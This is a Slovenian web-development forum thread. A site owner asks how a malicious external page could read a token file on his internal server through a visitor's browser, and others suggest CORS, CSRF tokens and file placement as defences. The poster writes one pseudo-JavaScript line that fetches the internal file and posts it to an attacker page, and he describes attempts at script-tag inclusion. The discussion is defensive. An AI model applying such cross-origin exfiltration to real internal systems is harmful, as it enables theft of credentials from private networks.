Forum » Izdelava spletišč » Preprečevanje kraje vsebin
Preprečevanje kraje vsebin
čuhalev ::
Ali je možno, da spletna stran B krade podatke iz spletne strani A preko uporabnikovega brskalnika? Konkretneje: brskalnik ima zaradi IP naslova dostop do sicer zaprte strani A in uporabnik prej ali slej zaide na nevarno stran B, ki gosti določeno javascript kodo.
Kako naj se kot upravitelj strani A zavarujem pred tem?
Kolikor sem raziskoval, nekaj blokira že sam CORS, a se mi zdi, da le v novejših brskalnikih, poleg tega obstaja nek trik z JSONP.
Kako naj se kot upravitelj strani A zavarujem pred tem?
Kolikor sem raziskoval, nekaj blokira že sam CORS, a se mi zdi, da le v novejših brskalnikih, poleg tega obstaja nek trik z JSONP.
- spremenil: čuhalev ()
Netrunner ::
Seveda je možno, kdor ima dostop do vsebine lahko le to ukrade. Zaščitit nevem če se da, da se pa do neke mere zavarovati. Stric gugl ti bo znal še naljbolje pomagati.
[D]emon ::
If it can be played, it can be copied.
Mavrik ta forum uporablja za daljsanje e-penisa. Ker si ne upa iz hise.
čuhalev ::
Na spletu je en kup teorije, jaz pa imam konkreten problem.
Imam datoteko na notranji mreži http://a/geslo.txt, vendar nočem, da bi se vsebina te datoteke brez posredovanja uporabnika prenesla na zunanjo mrežo.
Zaenkrat se trudim, kako bi lahko ukradel vsebino, potem pa poiskal rešitev. :)
Imam datoteko na notranji mreži http://a/geslo.txt, vendar nočem, da bi se vsebina te datoteke brez posredovanja uporabnika prenesla na zunanjo mrežo.
Zaenkrat se trudim, kako bi lahko ukradel vsebino, potem pa poiskal rešitev. :)
Yacked2 ::
Kaj točno hočeš ? Notranja mreža: torej lahko do datoteke dostopajo samo naprave znotraj omrežja ?
Korak naprej ni vedno ustrezen...sploh če si na robu prepada!
čuhalev ::
Bom opisal, kaj imam in kaj želim.
Imam stran A na notranji mreži (nedostopna od zunaj), ki bere vsebino datotek v isti mapi: index.htm prebere geslo.txt. Sedaj nočem (in se želim nekako zavarovati), da bi katerakoli skripta na katerikoli drugi strani B (najverjetneje nekje na spletu), ki jo obišče brskalnik nekega računalnika na notranji mreži (ta ima dostop do obeh mrež), prebrala geslo.txt.
Torej, edina možnost, da geslo pobegne v divjino, je preko brskalnika, ki ima dostop do obeh mrež, oziroma kraja bi se v psevdo-js kodi strani B zapisala kot:
var geslo=GET("http://a/geslo.txt"); POST("http://b/post.php", geslo).
Poskusil sem se uživeti v tatovsko stran B. a) Lahko naložim vsebino geslo.txt v script tag, vendar dobro, zaenkrat javi napako, ker datoteka ni javascript formata. b) Lahko naložim vsebino v link tag v head, vendar sedaje še ne znam dostopati do njega.
Imam stran A na notranji mreži (nedostopna od zunaj), ki bere vsebino datotek v isti mapi: index.htm prebere geslo.txt. Sedaj nočem (in se želim nekako zavarovati), da bi katerakoli skripta na katerikoli drugi strani B (najverjetneje nekje na spletu), ki jo obišče brskalnik nekega računalnika na notranji mreži (ta ima dostop do obeh mrež), prebrala geslo.txt.
Torej, edina možnost, da geslo pobegne v divjino, je preko brskalnika, ki ima dostop do obeh mrež, oziroma kraja bi se v psevdo-js kodi strani B zapisala kot:
var geslo=GET("http://a/geslo.txt"); POST("http://b/post.php", geslo).
Poskusil sem se uživeti v tatovsko stran B. a) Lahko naložim vsebino geslo.txt v script tag, vendar dobro, zaenkrat javi napako, ker datoteka ni javascript formata. b) Lahko naložim vsebino v link tag v head, vendar sedaje še ne znam dostopati do njega.
AnubisVX ::
Poglej si malo CSFR(Cross-site request forgery) napade, in kako se izvede zaščita.
V tvojem primeru bi ustvaril na strani v lokalnem omrežju prijavo, da se mora vsak računalnik prijaviti preden dostopa do strani. Pri prijavi se ustvari token(neka naključna vrednost) ki se zapiše v bazo strani in ustvari se še piškotek ki vsebuje to vrednost. Če želi računalnik pridobiti podatke iz strani mora zraven zahtevka poslati še vrednost tokena(vrednost tokena prebereš iz piškotka). Ta vrednost se nato primerja v vrednostjo v bazi.
Če želi okužena stran pridobiti podatke, lahko pošlje zahtevek na tvojo lokalno stran, vendar okužena stran nima dostopa do piškotka od tvoje lokalne strani.
V tvojem primeru bi ustvaril na strani v lokalnem omrežju prijavo, da se mora vsak računalnik prijaviti preden dostopa do strani. Pri prijavi se ustvari token(neka naključna vrednost) ki se zapiše v bazo strani in ustvari se še piškotek ki vsebuje to vrednost. Če želi računalnik pridobiti podatke iz strani mora zraven zahtevka poslati še vrednost tokena(vrednost tokena prebereš iz piškotka). Ta vrednost se nato primerja v vrednostjo v bazi.
Če želi okužena stran pridobiti podatke, lahko pošlje zahtevek na tvojo lokalno stran, vendar okužena stran nima dostopa do piškotka od tvoje lokalne strani.
čuhalev ::
Hvala, ravno to sedaj gledam. No, nažalost je stran A precej primitivna; prijava ni predvidena oziroma bolje rečeno, predvideno je brez kakršne koli prijave.
stb ::
Sodobni brskalniki takšno ravnanje precej onemogočajo, kjer pa to vseeno želiš pa lahko aplikacija (v tvojem primeru aplikacija na strežniku A) to brskalniku vseeno dovoli. Glej Cross-origin resource sharing @ Wikipedia in http://caniuse.com/#search=cors
Yacked2 ::
Daj geslo.txt eno mapo višje kot je index.php, če so nastavitve kolikor toliko pravilne dostop do višjih map ni dovoljen.
Korak naprej ni vedno ustrezen...sploh če si na robu prepada!
AnubisVX ::
Saj ni potrebno imeti prijave, če uporabnik nima token-a, ga ustvariš in vrednosti vpišeš v bazo in v piškotek. Nato izvedeš zahtevek za pridobitev podatkov, kjer zraven priložiš še vrednosti tokena, ki si jo prebral iz piškotka.
Zgodovina sprememb…
- spremenilo: AnubisVX ()
čuhalev ::
Saj vem, da se hitro spregleda končnico htm, ampak stran je HTML. Edina podpora za skriptne jezike je CGI.
Do sedaj sem se naučil, da mora biti prva črka vsebine geslo.txt različna od [ in od katerekoli črke, sicer se lahko vsebina interpretira kot javascript (z vključitvijo v script tag). Kot rešitev lahko na zažetek dodam kakšno črko, ki jo nato z JS in GET ukazom na strani http://a/index.htm počistim.
Do sedaj sem se naučil, da mora biti prva črka vsebine geslo.txt različna od [ in od katerekoli črke, sicer se lahko vsebina interpretira kot javascript (z vključitvijo v script tag). Kot rešitev lahko na zažetek dodam kakšno črko, ki jo nato z JS in GET ukazom na strani http://a/index.htm počistim.
[D]emon ::
In kaj ga sploh serjes z gesli in plaintextom ?
Mavrik ta forum uporablja za daljsanje e-penisa. Ker si ne upa iz hise.
čuhalev ::
Ni ravno geslo, je token za nadaljno uporabo strani a.
Zgodovina sprememb…
- spremenil: čuhalev ()
Vredno ogleda ...
Tema | Ogledi | Zadnje sporočilo | |
---|---|---|---|
Tema | Ogledi | Zadnje sporočilo | |
» | [JS] Event, ko se stran naloži po "back" gumbu?Oddelek: Programiranje | 2632 (1900) | Spura |
» | Izguba administratorskih pravic kot sudo uporabnik (strani: 1 2 )Oddelek: Pomoč in nasveti | 12337 (10284) | SeMiNeSanja |
» | zasebno brskanjeOddelek: Pomoč in nasveti | 1609 (1384) | Thuban |
» | Pripravite vašo spletno stran na nov zakon o piškotkih (strani: 1 2 3 4 … 12 13 14 15 )Oddelek: Izdelava spletišč | 216205 (167771) | Tydek |
» | Piškotki - kako je to mogočeOddelek: Programiranje | 2527 (2090) | DeeJay |